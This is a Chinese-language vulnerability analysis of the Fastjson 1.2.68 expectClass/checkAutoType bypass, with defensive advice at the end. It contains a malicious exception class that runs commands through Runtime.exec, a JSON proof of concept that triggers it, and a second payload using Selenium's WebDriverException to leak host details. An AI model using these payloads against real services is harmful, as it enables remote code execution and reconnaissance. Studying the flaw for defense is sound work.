fastjson 1.2.68 漏洞及commons-io写文件分析
字数 1931 2025-08-20 18:17:59
Fastjson 1.2.68漏洞分析与利用
1. 漏洞背景
Fastjson 1.2.68版本存在一个新的绕过漏洞,利用expectClass机制可以绕过checkAutoType()的安全检测。该漏洞主要利用Throwable和AutoCloseable接口进行绕过。
2. 漏洞修复历史
- 1.2.47版本:爆发了严重漏洞
- 1.2.48版本:修复了漏洞,在
TypeUtils.loadClass中增加了cache判断MiscCodec.deserialze调用时,cache默认为false,阻断了cache提前加载恶意类的攻击链路
- 1.2.48-1.2.67:在这些版本中都是安全的(不手动关闭autoType的情况下)
- 1.2.68:引入了新的安全控制点
safeMode,但默认不开启,存在新的绕过方式
3. 环境配置
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
4. 安全机制分析
4.1 safeMode机制
- 新增的安全控制点
- 如果开启,将在
checkAutoType()直接抛出异常 - 如果设置了
@type就会抛出异常 - 默认不开启,因此攻击仍然可能
4.2 checkAutoType机制
在checkAutoType中:
- 使用
getClassFromMapping从mappings读取类 - 在满足以下条件时直接返回取出的类:
- 期望类
expectClass不为空 typeName不是HashMap类- 期望类是
typeName的子类
- 期望类
mappings初始化时包含许多类(白名单),其中包括Exception和AutoCloseable。
5. 漏洞利用点
5.1 expectClass参数
expectClass来自checkAutoType的第二个参数,有两个关键调用点:
JavaBeanDeserializer.deserialzeThrowableDeserializer.deserialze
5.1.1 ThrowableDeserializer利用
攻击流程:
DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类- 获取反序列化器调用
deserialze - 如果反序列化器是
ThrowableDeserializer且下一个key为@type,会再次调用checkAutoType,并传入Throwable.class作为expectClass
利用条件:
- 传入的第一个参数
exClassName是实现了Throwable子类的恶意类 mappings白名单中的Exception是Throwable的子类,因此可以实现Exception来绕过
示例恶意类:
public class EvilException extends Exception {
private String command;
public void setCommand(String command) {
this.command = command;
try {
Runtime.getRuntime().exec(command);
} catch (Exception e) {
e.printStackTrace();
}
}
}
POC示例:
String payload = "{\"x\":\n" +
"\t{\"@type\":\"java.lang.Exception\",\n" +
"\t \"@type\":\"org.exploit.third.fastjson.EvilException\", \n" +
"\t \"command\":\"calc\"}, \n" +
"}";
JSON.parse(payload);
5.1.2 结合selenium利用
依赖:
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>
利用org.openqa.selenium.WebDriverException类可以获取系统信息:
getMessage()和getSystemInformation()方法能获取:- IP地址
- 主机名
- 系统架构
- 系统名称
- 系统版本
- JDK版本
- selenium webdriver版本
- 通过
getStackTrace()获取函数调用栈
示例POC:
String payload = "{\"x\":\n" +
"\t{\"@type\":\"java.lang.Exception\",\n" +
"\t \"@type\":\"org.openqa.selenium.WebDriverException\"},\n" +
" \"y\":{\"$ref\":\"$x.systemInformation\"},\n" +
" \"z\":{\"$ref\":\"$x.message\"}\n" +
"}";
JSONObject json = (JSONObject) JSON.parse(payload);
System.out.println(json.getString("y"));
System.out.println(json.getString("z"));
5.1.3 JavaBeanDeserializer利用
与ThrowableDeserializer不同:
ThrowableDeserializer#deserialze调用的checkAutoType中期望类是固定的Throwable.classJavaBeanDeserializer#deserialze的expectClass参数是用户可控的
通常选择AutoCloseable作为期望类,因为:
AutoCloseable不在黑名单内- 在
mappings缓存表内 - 包含许多有用的接口,如
ObjectInput和ObjectOutput
6. 防御措施
- 开启safeMode:这是最有效的防御方式
- 升级到最新安全版本:Fastjson团队已发布修复版本
- 输入验证:对反序列化的JSON数据进行严格验证
- 使用白名单:限制可反序列化的类
7. 总结
Fastjson 1.2.68漏洞主要通过expectClass机制绕过安全检测,利用Throwable和AutoCloseable接口实现攻击。攻击者可以构造特定的JSON数据来执行任意代码或获取系统信息。防御的关键是开启safeMode或升级到已修复的版本。